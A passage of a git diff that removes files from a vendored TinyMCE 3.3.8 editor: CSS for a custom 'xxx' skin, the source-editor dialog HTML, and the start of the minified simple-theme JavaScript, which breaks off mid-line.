text-align:left; border:1px solid #CCC; border-right:0; background:#FFF; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden} -.xxxSkin .mceListBox .mceOpen {width:9px; height:20px; background:url(../../img/icons.gif) -741px 0; margin-right:2px; border:1px solid #CCC;} -.xxxSkin table.mceListBoxEnabled:hover .mceText, .xxxSkin .mceListBoxHover .mceText, .xxxSkin .mceListBoxSelected .mceText {border:1px solid #A2ABC0; border-right:0; background:#FFF} -.xxxSkin table.mceListBoxEnabled:hover .mceOpen, .xxxSkin .mceListBoxHover .mceOpen, .xxxSkin .mceListBoxSelected .mceOpen {background-color:#FFF; border:1px solid #A2ABC0} -.xxxSkin .mceListBoxDisabled a.mceText {color:gray; background-color:transparent;} -.xxxSkin .mceListBoxMenu {overflow:auto; overflow-x:hidden} -.xxxSkin .mceOldBoxModel .mceListBox .mceText {height:22px} -.xxxSkin .mceOldBoxModel .mceListBox .mceOpen {width:11px; height:22px;} -.xxxSkin select.mceNativeListBox {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:7pt; background:#F0F0EE; border:1px solid gray; margin-right:2px;} - -/* SplitButton */ -.xxxSkin .mceSplitButton {width:32px; height:20px; direction:ltr} -.xxxSkin .mceSplitButton a, .xxxSkin .mceSplitButton span {height:20px; display:block} -.xxxSkin .mceSplitButton a.mceAction {width:20px; border:1px solid #F0F0EE; border-right:0;} -.xxxSkin .mceSplitButton span.mceAction {width:20px; background-image:url(../../img/icons.gif);} -.xxxSkin .mceSplitButton a.mceOpen {width:9px; background:url(../../img/icons.gif) -741px 0; border:1px solid #F0F0EE;} -.xxxSkin .mceSplitButton span.mceOpen {display:none} -.xxxSkin table.mceSplitButtonEnabled:hover a.mceAction, .xxxSkin .mceSplitButtonHover a.mceAction, .xxxSkin .mceSplitButtonSelected a.mceAction {border:1px solid #0A246A; border-right:0; background-color:#B2BBD0} -.xxxSkin table.mceSplitButtonEnabled:hover a.mceOpen, .xxxSkin .mceSplitButtonHover a.mceOpen, .xxxSkin .mceSplitButtonSelected a.mceOpen {background-color:#B2BBD0; border:1px solid #0A246A;} -.xxxSkin .mceSplitButtonDisabled .mceAction, .xxxSkin .mceSplitButtonDisabled a.mceOpen {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -.xxxSkin .mceSplitButtonActive a.mceAction {border:1px solid #0A246A; background-color:#C2CBE0} -.xxxSkin .mceSplitButtonActive a.mceOpen {border-left:0;} - -/* ColorSplitButton */ -.xxxSkin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray} -.xxxSkin .mceColorSplitMenu td {padding:2px} -.xxxSkin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080} -.xxxSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} -.xxxSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} -.xxxSkin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2} -.xxxSkin a.mceMoreColors:hover {border:1px solid #0A246A} -.xxxSkin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a} -.xxxSkin .mce_forecolor span.mceAction, .xxxSkin .mce_backcolor span.mceAction {overflow:hidden; height:16px} - -/* Menu */ -.xxxSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #D4D0C8} -.xxxSkin .mceNoIcons span.mceIcon {width:0;} -.xxxSkin .mceNoIcons a .mceText {padding-left:10px} -.xxxSkin .mceMenu table {background:#FFF} -.xxxSkin .mceMenu a, .xxxSkin .mceMenu span, .xxxSkin .mceMenu {display:block} -.xxxSkin .mceMenu td {height:20px} -.xxxSkin .mceMenu a {position:relative;padding:3px 0 4px 0} -.xxxSkin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block} -.xxxSkin .mceMenu span.mceText, .xxxSkin .mceMenu .mcePreview {font-size:11px} -.xxxSkin .mceMenu pre.mceText {font-family:Monospace} -.xxxSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;} -.xxxSkin .mceMenu .mceMenuItemEnabled a:hover, .xxxSkin .mceMenu .mceMenuItemActive {background-color:#dbecf3} -.xxxSkin td.mceMenuItemSeparator {background:#DDD; height:1px} -.xxxSkin .mceMenuItemTitle a {border:0; background:#EEE; border-bottom:1px solid #DDD} -.xxxSkin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px} -.xxxSkin .mceMenuItemDisabled .mceText {color:#888} -.xxxSkin .mceMenuItemSelected .mceIcon {background:url(img/menu_check.gif)} -.xxxSkin .mceNoIcons .mceMenuItemSelected a {background:url(img/menu_arrow.gif) no-repeat -6px center} -.xxxSkin .mceMenu span.mceMenuLine {display:none} -.xxxSkin .mceMenuItemSub a {background:url(img/menu_arrow.gif) no-repeat top right;} - -/* Progress,Resize */ -.xxxSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50); background:#FFF} -.xxxSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} - -/* Formats */ -.xxxSkin .mce_formatPreview a {font-size:10px} -.xxxSkin .mce_p span.mceText {} -.xxxSkin .mce_address span.mceText {font-style:italic} -.xxxSkin .mce_pre span.mceText {font-family:monospace} -.xxxSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} -.xxxSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} -.xxxSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} -.xxxSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} -.xxxSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} -.xxxSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} - -/* Theme */ -.xxxSkin span.mce_bold {background-position:0 0} -.xxxSkin span.mce_italic {background-position:-60px 0} -.xxxSkin span.mce_underline {background-position:-140px 0} -.xxxSkin span.mce_strikethrough {background-position:-120px 0} -.xxxSkin span.mce_undo {background-position:-160px 0} -.xxxSkin span.mce_redo {background-position:-100px 0} -.xxxSkin span.mce_cleanup {background-position:-40px 0} -.xxxSkin span.mce_bullist {background-position:-20px 0} -.xxxSkin span.mce_numlist {background-position:-80px 0} -.xxxSkin span.mce_justifyleft {background-position:-460px 0} -.xxxSkin span.mce_justifyright {background-position:-480px 0} -.xxxSkin span.mce_justifycenter {background-position:-420px 0} -.xxxSkin span.mce_justifyfull {background-position:-440px 0} -.xxxSkin span.mce_anchor {background-position:-200px 0} -.xxxSkin span.mce_indent {background-position:-400px 0} -.xxxSkin span.mce_outdent {background-position:-540px 0} -.xxxSkin span.mce_link {background-position:-500px 0} -.xxxSkin span.mce_unlink {background-position:-640px 0} -.xxxSkin span.mce_sub {background-position:-600px 0} -.xxxSkin span.mce_sup {background-position:-620px 0} -.xxxSkin span.mce_removeformat {background-position:-580px 0} -.xxxSkin span.mce_newdocument {background-position:-520px 0} -.xxxSkin span.mce_image {background-position:-380px 0} -.xxxSkin span.mce_help {background-position:-340px 0} -.xxxSkin span.mce_code {background-position:-260px 0} -.xxxSkin span.mce_hr {background-position:-360px 0} -.xxxSkin span.mce_visualaid {background-position:-660px 0} -.xxxSkin span.mce_charmap {background-position:-240px 0} -.xxxSkin span.mce_paste {background-position:-560px 0} -.xxxSkin span.mce_copy {background-position:-700px 0} -.xxxSkin span.mce_cut {background-position:-680px 0} -.xxxSkin span.mce_blockquote {background-position:-220px 0} -.xxxSkin .mce_forecolor span.mceAction {background-position:-720px 0} -.xxxSkin .mce_backcolor span.mceAction {background-position:-760px 0} -.xxxSkin span.mce_forecolorpicker {background-position:-720px 0} -.xxxSkin span.mce_backcolorpicker {background-position:-760px 0} - -/* Plugins */ -.xxxSkin span.mce_advhr {background-position:-0px -20px} -.xxxSkin span.mce_ltr {background-position:-20px -20px} -.xxxSkin span.mce_rtl {background-position:-40px -20px} -.xxxSkin span.mce_emotions {background-position:-60px -20px} -.xxxSkin span.mce_fullpage {background-position:-80px -20px} -.xxxSkin span.mce_fullscreen {background-position:-100px -20px} -.xxxSkin span.mce_iespell {background-position:-120px -20px} -.xxxSkin span.mce_insertdate {background-position:-140px -20px} -.xxxSkin span.mce_inserttime {background-position:-160px -20px} -.xxxSkin span.mce_absolute {background-position:-180px -20px} -.xxxSkin span.mce_backward {background-position:-200px -20px} -.xxxSkin span.mce_forward {background-position:-220px -20px} -.xxxSkin span.mce_insert_layer {background-position:-240px -20px} -.xxxSkin span.mce_insertlayer {background-position:-260px -20px} -.xxxSkin span.mce_movebackward {background-position:-280px -20px} -.xxxSkin span.mce_moveforward {background-position:-300px -20px} -.xxxSkin span.mce_media {background-position:-320px -20px} -.xxxSkin span.mce_nonbreaking {background-position:-340px -20px} -.xxxSkin span.mce_pastetext {background-position:-360px -20px} -.xxxSkin span.mce_pasteword {background-position:-380px -20px} -.xxxSkin span.mce_selectall {background-position:-400px -20px} -.xxxSkin span.mce_preview {background-position:-420px -20px} -.xxxSkin span.mce_print {background-position:-440px -20px} -.xxxSkin span.mce_cancel {background-position:-460px -20px} -.xxxSkin span.mce_save {background-position:-480px -20px} -.xxxSkin span.mce_replace {background-position:-500px -20px} -.xxxSkin span.mce_search {background-position:-520px -20px} -.xxxSkin span.mce_styleprops {background-position:-560px -20px} -.xxxSkin span.mce_table {background-position:-580px -20px} -.xxxSkin span.mce_cell_props {background-position:-600px -20px} -.xxxSkin span.mce_delete_table {background-position:-620px -20px} -.xxxSkin span.mce_delete_col {background-position:-640px -20px} -.xxxSkin span.mce_delete_row {background-position:-660px -20px} -.xxxSkin span.mce_col_after {background-position:-680px -20px} -.xxxSkin span.mce_col_before {background-position:-700px -20px} -.xxxSkin span.mce_row_after {background-position:-720px -20px} -.xxxSkin span.mce_row_before {background-position:-740px -20px} -.xxxSkin span.mce_merge_cells {background-position:-760px -20px} -.xxxSkin span.mce_table_props {background-position:-980px -20px} -.xxxSkin span.mce_row_props {background-position:-780px -20px} -.xxxSkin span.mce_split_cells {background-position:-800px -20px} -.xxxSkin span.mce_template {background-position:-820px -20px} -.xxxSkin span.mce_visualchars {background-position:-840px -20px} -.xxxSkin span.mce_abbr {background-position:-860px -20px} -.xxxSkin span.mce_acronym {background-position:-880px -20px} -.xxxSkin span.mce_attribs {background-position:-900px -20px} -.xxxSkin span.mce_cite {background-position:-920px -20px} -.xxxSkin span.mce_del {background-position:-940px -20px} -.xxxSkin span.mce_ins {background-position:-960px -20px} -.xxxSkin span.mce_pagebreak {background-position:0 -40px} -.xxxSkin span.mce_restoredraft {background-position:-20px -40px} -.xxxSkin span.mce_spellchecker {background-position:-540px -20px} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/ui.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/ui.css deleted file mode 100644 index 0f5b953..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/ui.css +++ /dev/null @@ -1,213 +0,0 @@ -/* Reset */ -.xxxSkin table, .xxxSkin tbody, .xxxSkin a, .xxxSkin img, .xxxSkin tr, .xxxSkin div, .xxxSkin td, .xxxSkin iframe, .xxxSkin span, .xxxSkin *, .xxxSkin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left} -.xxxSkin a:hover, .xxxSkin a:link, .xxxSkin a:visited, .xxxSkin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000} -.xxxSkin table td {vertical-align:middle} - -/* Containers */ -.xxxSkin table {direction:ltr; background:#E5FDE5} -.xxxSkin iframe {display:block; background:#FFF} -.xxxSkin .mceToolbar {height:26px} -.xxxSkin .mceLeft {text-align:left} -.xxxSkin .mceRight {text-align:right} - -/* External */ -.xxxSkin .mceExternalToolbar {position:absolute; border:1px dashed #006633; border-bottom:0; display:none;} -.xxxSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;} -.xxxSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0} - -/* Layout */ -.xxxSkin table.mceLayout {border:0; border-left:1px dashed #006633; border-right:1px dashed #006633} -.xxxSkin table.mceLayout tr.mceFirst td {border-top:1px dashed #006633} -.xxxSkin table.mceLayout tr.mceLast td {border-bottom:1px dashed #006633} -.xxxSkin table.mceToolbar, .xxxSkin tr.mceFirst .mceToolbar tr td, .xxxSkin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0;} -.xxxSkin td.mceToolbar {padding-top:1px; vertical-align:top} -.xxxSkin .mceIframeContainer {border-top:1px dashed #006633; border-bottom:1px dashed #006633} -.xxxSkin .mceStatusbar {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; display:block; height:20px} -.xxxSkin .mceStatusbar div {float:left; margin:2px} -.xxxSkin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize; outline:0} -.xxxSkin .mceStatusbar a:hover {text-decoration:underline} -.xxxSkin table.mceToolbar {margin-left:3px} -.xxxSkin span.mceIcon, .xxxSkin img.mceIcon {display:block; width:20px; height:20px} -.xxxSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} -.xxxSkin td.mceCenter {text-align:center;} -.xxxSkin td.mceCenter table {margin:0 auto; text-align:left;} -.xxxSkin td.mceRight table {margin:0 0 0 auto;} - -/* Button */ -.xxxSkin .mceButton {display:block; border:1px solid #F0F0EE; width:20px; height:20px; margin-right:1px} -.xxxSkin a.mceButtonEnabled:hover {border:1px solid #0A246A; background-color:#B2BBD0} -.xxxSkin a.mceButtonActive, .xxxSkin a.mceButtonSelected {border:1px solid #0A246A; background-color:#C2CBE0} -.xxxSkin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -.xxxSkin .mceButtonLabeled {width:auto} -.xxxSkin .mceButtonLabeled span.mceIcon {float:left} -.xxxSkin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica} -.xxxSkin .mceButtonDisabled .mceButtonLabel {color:#888} - -/* Separator */ -.xxxSkin .mceSeparator {display:block; background:url(../../img/icons.gif) -180px 0; width:2px; height:20px; margin:2px 2px 0 4px} - -/* ListBox */ -.xxxSkin .mceListBox, .xxxSkin .mceListBox a {display:block} -.xxxSkin .mceListBox .mceText {padding-left:4px; width:70px; text-align:left; border:1px dashed #006633; border-right:0; background:#FFF; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden} -.xxxSkin .mceListBox .mceOpen {width:9px; height:20px; background:url(../../img/icons.gif) -741px 0; margin-right:2px; border:1px dashed #006633;} -.xxxSkin table.mceListBoxEnabled:hover .mceText, .xxxSkin .mceListBoxHover .mceText, .xxxSkin .mceListBoxSelected .mceText {border:1px solid #A2ABC0; border-right:0; background:#FFF} -.xxxSkin table.mceListBoxEnabled:hover .mceOpen, .xxxSkin .mceListBoxHover .mceOpen, .xxxSkin .mceListBoxSelected .mceOpen {background-color:#FFF; border:1px solid #A2ABC0} -.xxxSkin .mceListBoxDisabled a.mceText {color:gray; background-color:transparent;} -.xxxSkin .mceListBoxMenu {overflow:auto; overflow-x:hidden} -.xxxSkin .mceOldBoxModel .mceListBox .mceText {height:22px} -.xxxSkin .mceOldBoxModel .mceListBox .mceOpen {width:11px; height:22px;} -.xxxSkin select.mceNativeListBox {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:7pt; background:#F0F0EE; border:1px solid gray; margin-right:2px;} - -/* SplitButton */ -.xxxSkin .mceSplitButton {width:32px; height:20px; direction:ltr} -.xxxSkin .mceSplitButton a, .xxxSkin .mceSplitButton span {height:20px; display:block} -.xxxSkin .mceSplitButton a.mceAction {width:20px; border:1px solid #F0F0EE; border-right:0;} -.xxxSkin .mceSplitButton span.mceAction {width:20px; background-image:url(../../img/icons.gif);} -.xxxSkin .mceSplitButton a.mceOpen {width:9px; background:url(../../img/icons.gif) -741px 0; border:1px solid #F0F0EE;} -.xxxSkin .mceSplitButton span.mceOpen {display:none} -.xxxSkin table.mceSplitButtonEnabled:hover a.mceAction, .xxxSkin .mceSplitButtonHover a.mceAction, .xxxSkin .mceSplitButtonSelected a.mceAction {border:1px solid #0A246A; border-right:0; background-color:#B2BBD0} -.xxxSkin table.mceSplitButtonEnabled:hover a.mceOpen, .xxxSkin .mceSplitButtonHover a.mceOpen, .xxxSkin .mceSplitButtonSelected a.mceOpen {background-color:#B2BBD0; border:1px solid #0A246A;} -.xxxSkin .mceSplitButtonDisabled .mceAction, .xxxSkin .mceSplitButtonDisabled a.mceOpen {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -.xxxSkin .mceSplitButtonActive a.mceAction {border:1px solid #0A246A; background-color:#C2CBE0} -.xxxSkin .mceSplitButtonActive a.mceOpen {border-left:0;} - -/* ColorSplitButton */ -.xxxSkin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray} -.xxxSkin .mceColorSplitMenu td {padding:2px} -.xxxSkin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080} -.xxxSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} -.xxxSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} -.xxxSkin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2} -.xxxSkin a.mceMoreColors:hover {border:1px solid #0A246A} -.xxxSkin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a} -.xxxSkin .mce_forecolor span.mceAction, .xxxSkin .mce_backcolor span.mceAction {overflow:hidden; height:16px} - -/* Menu */ -.xxxSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #D4D0C8} -.xxxSkin .mceNoIcons span.mceIcon {width:0;} -.xxxSkin .mceNoIcons a .mceText {padding-left:10px} -.xxxSkin .mceMenu table {background:#FFF} -.xxxSkin .mceMenu a, .xxxSkin .mceMenu span, .xxxSkin .mceMenu {display:block} -.xxxSkin .mceMenu td {height:20px} -.xxxSkin .mceMenu a {position:relative;padding:3px 0 4px 0} -.xxxSkin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block} -.xxxSkin .mceMenu span.mceText, .xxxSkin .mceMenu .mcePreview {font-size:11px} -.xxxSkin .mceMenu pre.mceText {font-family:Monospace} -.xxxSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;} -.xxxSkin .mceMenu .mceMenuItemEnabled a:hover, .xxxSkin .mceMenu .mceMenuItemActive {background-color:#dbecf3} -.xxxSkin td.mceMenuItemSeparator {background:#DDD; height:1px} -.xxxSkin .mceMenuItemTitle a {border:0; background:#EEE; border-bottom:1px solid #DDD} -.xxxSkin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px} -.xxxSkin .mceMenuItemDisabled .mceText {color:#888} -.xxxSkin .mceMenuItemSelected .mceIcon {background:url(img/menu_check.gif)} -.xxxSkin .mceNoIcons .mceMenuItemSelected a {background:url(img/menu_arrow.gif) no-repeat -6px center} -.xxxSkin .mceMenu span.mceMenuLine {display:none} -.xxxSkin .mceMenuItemSub a {background:url(img/menu_arrow.gif) no-repeat top right;} - -/* Progress,Resize */ -.xxxSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50); background:#FFF} -.xxxSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} - -/* Formats */ -.xxxSkin .mce_formatPreview a {font-size:10px} -.xxxSkin .mce_p span.mceText {} -.xxxSkin .mce_address span.mceText {font-style:italic} -.xxxSkin .mce_pre span.mceText {font-family:monospace} -.xxxSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} -.xxxSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} -.xxxSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} -.xxxSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} -.xxxSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} -.xxxSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} - -/* Theme */ -.xxxSkin span.mce_bold {background-position:0 0} -.xxxSkin span.mce_italic {background-position:-60px 0} -.xxxSkin span.mce_underline {background-position:-140px 0} -.xxxSkin span.mce_strikethrough {background-position:-120px 0} -.xxxSkin span.mce_undo {background-position:-160px 0} -.xxxSkin span.mce_redo {background-position:-100px 0} -.xxxSkin span.mce_cleanup {background-position:-40px 0} -.xxxSkin span.mce_bullist {background-position:-20px 0} -.xxxSkin span.mce_numlist {background-position:-80px 0} -.xxxSkin span.mce_justifyleft {background-position:-460px 0} -.xxxSkin span.mce_justifyright {background-position:-480px 0} -.xxxSkin span.mce_justifycenter {background-position:-420px 0} -.xxxSkin span.mce_justifyfull {background-position:-440px 0} -.xxxSkin span.mce_anchor {background-position:-200px 0} -.xxxSkin span.mce_indent {background-position:-400px 0} -.xxxSkin span.mce_outdent {background-position:-540px 0} -.xxxSkin span.mce_link {background-position:-500px 0} -.xxxSkin span.mce_unlink {background-position:-640px 0} -.xxxSkin span.mce_sub {background-position:-600px 0} -.xxxSkin span.mce_sup {background-position:-620px 0} -.xxxSkin span.mce_removeformat {background-position:-580px 0} -.xxxSkin span.mce_newdocument {background-position:-520px 0} -.xxxSkin span.mce_image {background-position:-380px 0} -.xxxSkin span.mce_help {background-position:-340px 0} -.xxxSkin span.mce_code {background-position:-260px 0} -.xxxSkin span.mce_hr {background-position:-360px 0} -.xxxSkin span.mce_visualaid {background-position:-660px 0} -.xxxSkin span.mce_charmap {background-position:-240px 0} -.xxxSkin span.mce_paste {background-position:-560px 0} -.xxxSkin span.mce_copy {background-position:-700px 0} -.xxxSkin span.mce_cut {background-position:-680px 0} -.xxxSkin span.mce_blockquote {background-position:-220px 0} -.xxxSkin .mce_forecolor span.mceAction {background-position:-720px 0} -.xxxSkin .mce_backcolor span.mceAction {background-position:-760px 0} -.xxxSkin span.mce_forecolorpicker {background-position:-720px 0} -.xxxSkin span.mce_backcolorpicker {background-position:-760px 0} - -/* Plugins */ -.xxxSkin span.mce_advhr {background-position:-0px -20px} -.xxxSkin span.mce_ltr {background-position:-20px -20px} -.xxxSkin span.mce_rtl {background-position:-40px -20px} -.xxxSkin span.mce_emotions {background-position:-60px -20px} -.xxxSkin span.mce_fullpage {background-position:-80px -20px} -.xxxSkin span.mce_fullscreen {background-position:-100px -20px} -.xxxSkin span.mce_iespell {background-position:-120px -20px} -.xxxSkin span.mce_insertdate {background-position:-140px -20px} -.xxxSkin span.mce_inserttime {background-position:-160px -20px} -.xxxSkin span.mce_absolute {background-position:-180px -20px} -.xxxSkin span.mce_backward {background-position:-200px -20px} -.xxxSkin span.mce_forward {background-position:-220px -20px} -.xxxSkin span.mce_insert_layer {background-position:-240px -20px} -.xxxSkin span.mce_insertlayer {background-position:-260px -20px} -.xxxSkin span.mce_movebackward {background-position:-280px -20px} -.xxxSkin span.mce_moveforward {background-position:-300px -20px} -.xxxSkin span.mce_media {background-position:-320px -20px} -.xxxSkin span.mce_nonbreaking {background-position:-340px -20px} -.xxxSkin span.mce_pastetext {background-position:-360px -20px} -.xxxSkin span.mce_pasteword {background-position:-380px -20px} -.xxxSkin span.mce_selectall {background-position:-400px -20px} -.xxxSkin span.mce_preview {background-position:-420px -20px} -.xxxSkin span.mce_print {background-position:-440px -20px} -.xxxSkin span.mce_cancel {background-position:-460px -20px} -.xxxSkin span.mce_save {background-position:-480px -20px} -.xxxSkin span.mce_replace {background-position:-500px -20px} -.xxxSkin span.mce_search {background-position:-520px -20px} -.xxxSkin span.mce_styleprops {background-position:-560px -20px} -.xxxSkin span.mce_table {background-position:-580px -20px} -.xxxSkin span.mce_cell_props {background-position:-600px -20px} -.xxxSkin span.mce_delete_table {background-position:-620px -20px} -.xxxSkin span.mce_delete_col {background-position:-640px -20px} -.xxxSkin span.mce_delete_row {background-position:-660px -20px} -.xxxSkin span.mce_col_after {background-position:-680px -20px} -.xxxSkin span.mce_col_before {background-position:-700px -20px} -.xxxSkin span.mce_row_after {background-position:-720px -20px} -.xxxSkin span.mce_row_before {background-position:-740px -20px} -.xxxSkin span.mce_merge_cells {background-position:-760px -20px} -.xxxSkin span.mce_table_props {background-position:-980px -20px} -.xxxSkin span.mce_row_props {background-position:-780px -20px} -.xxxSkin span.mce_split_cells {background-position:-800px -20px} -.xxxSkin span.mce_template {background-position:-820px -20px} -.xxxSkin span.mce_visualchars {background-position:-840px -20px} -.xxxSkin span.mce_abbr {background-position:-860px -20px} -.xxxSkin span.mce_acronym {background-position:-880px -20px} -.xxxSkin span.mce_attribs {background-position:-900px -20px} -.xxxSkin span.mce_cite {background-position:-920px -20px} -.xxxSkin span.mce_del {background-position:-940px -20px} -.xxxSkin span.mce_ins {background-position:-960px -20px} -.xxxSkin span.mce_pagebreak {background-position:0 -40px} -.xxxSkin span.mce_restoredraft {background-position:-20px -40px} -.xxxSkin span.mce_spellchecker {background-position:-540px -20px} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/source_editor.htm b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/source_editor.htm deleted file mode 100644 index 5957bbd..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/source_editor.htm +++ /dev/null @@ -1,25 +0,0 @@ -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advanced_dlg.code_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/source_editor.js"></script> -</head> -<body onresize="resizeInputs();" style="display:none; overflow:hidden;"> - <form name="source" onsubmit="saveContent();return false;" action="#"> - <div style="float: left" class="title">{#advanced_dlg.code_title}</div> - - <div id="wrapline" style="float: right"> - <input type="checkbox" name="wraped" id="wraped" onclick="toggleWordWrap(this);" class="wordWrapCode" /><label for="wraped">{#advanced_dlg.code_wordwrap}</label> - </div> - - <br style="clear: both" /> - - <textarea name="htmlSource" id="htmlSource" rows="15" cols="100" style="width: 100%; height: 100%; font-family: 'Courier New',Courier,monospace; font-size: 12px;" dir="ltr" wrap="off" class="mceFocus"></textarea> - - <div class="mceActionPanel"> - <input type="submit" name="insert" value="{#update}" id="insert" /> - <input type="button" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" id="cancel" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/editor_template.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/editor_template.js deleted file mode 100644 index ed89abc..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/editor_template.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var a=tinymce.DOM;tinymce.ThemeManager.requireLangPack("simple");tinymce.create("tinymce.themes.SimpleTheme",{init:function(c,d){var e=this,b=["Bold","Italic","Underline","Strikethrough","InsertUnorderedList","InsertOrderedList"],f=c.settings;e.editor=c;c.onInit.add(function(){c.onNodeChange.add(function(h,g){tinymce.each(b,function(i){g.get(i.toLowerCase()).setActive(h.queryCommandState(i))})});c.dom.loadCSS(d+"/skins/"+f.skin+"/content.css")});a.loadCSS((f.editor_css?c.documentBaseURI.toAbsolute(f.editor_css):"")||d+"/skins/"+f.skin+"/ui.css")},renderUI:function(h){var e=this,i=h.targetNode,b,c,d=e.editor,f=d.controlManager,g;i=a.insertAfter(a.create("span",{id:d.id+"_container","class":"mceEditor "+d.settings.skin+"SimpleSkin"}),i);i=g=a.add(i,"table",{cellPadding:0,cellSpacing:0,"class":"mceLayout"});i=c=a.add(i,"tbody");i=a.add(c,"tr");i=b=a.add(a.add(i,"td"),"div",{"class":"mceIframeContainer"});i=a.add(a.add(c,"tr",{"class":"last"}),"td",{"class":"mceToolbar mceLast",align:"center"});c=e.toolbar=f.createToolbar("tools1");c.add(f.createButton("bold",{title:"simple.bold_desc",cmd:"Bold"}));c.add(f.createButton("italic",{title:"simple.italic_desc",cmd:"Italic"}));c.add(f.createButton("underline",{title:"simple.underline_desc",cmd:"Underline"}));c.add(f.createButton("strikethrough",{title:"simple.striketrough_desc",cmd:"Strikethrough"}));c.add(f.createSeparator());c.add(f.createButton("undo",{title:"simple.undo_desc",cmd:"Undo"}));c.add(f.createButton("redo",{title:"simple.redo_desc",cmd:"Redo"}));c.add(f.createSeparator());c.add(f.createButton("cleanup",{title:"simple.cleanup_desc",cmd:"mceCleanup"}));c.add(f.createSeparator());c.add(f.createButton("insertunorderedlist",{title:"simple.bullist_desc",cmd:"InsertUnorderedList"}));c.add(f.createButton("insertorderedlist",{title:"simple.numlist_desc",cmd:"InsertOrderedList"}));c.renderTo(i);return{iframeContainer:b,editorContainer:d.id+"_container",sizeContainer:g,d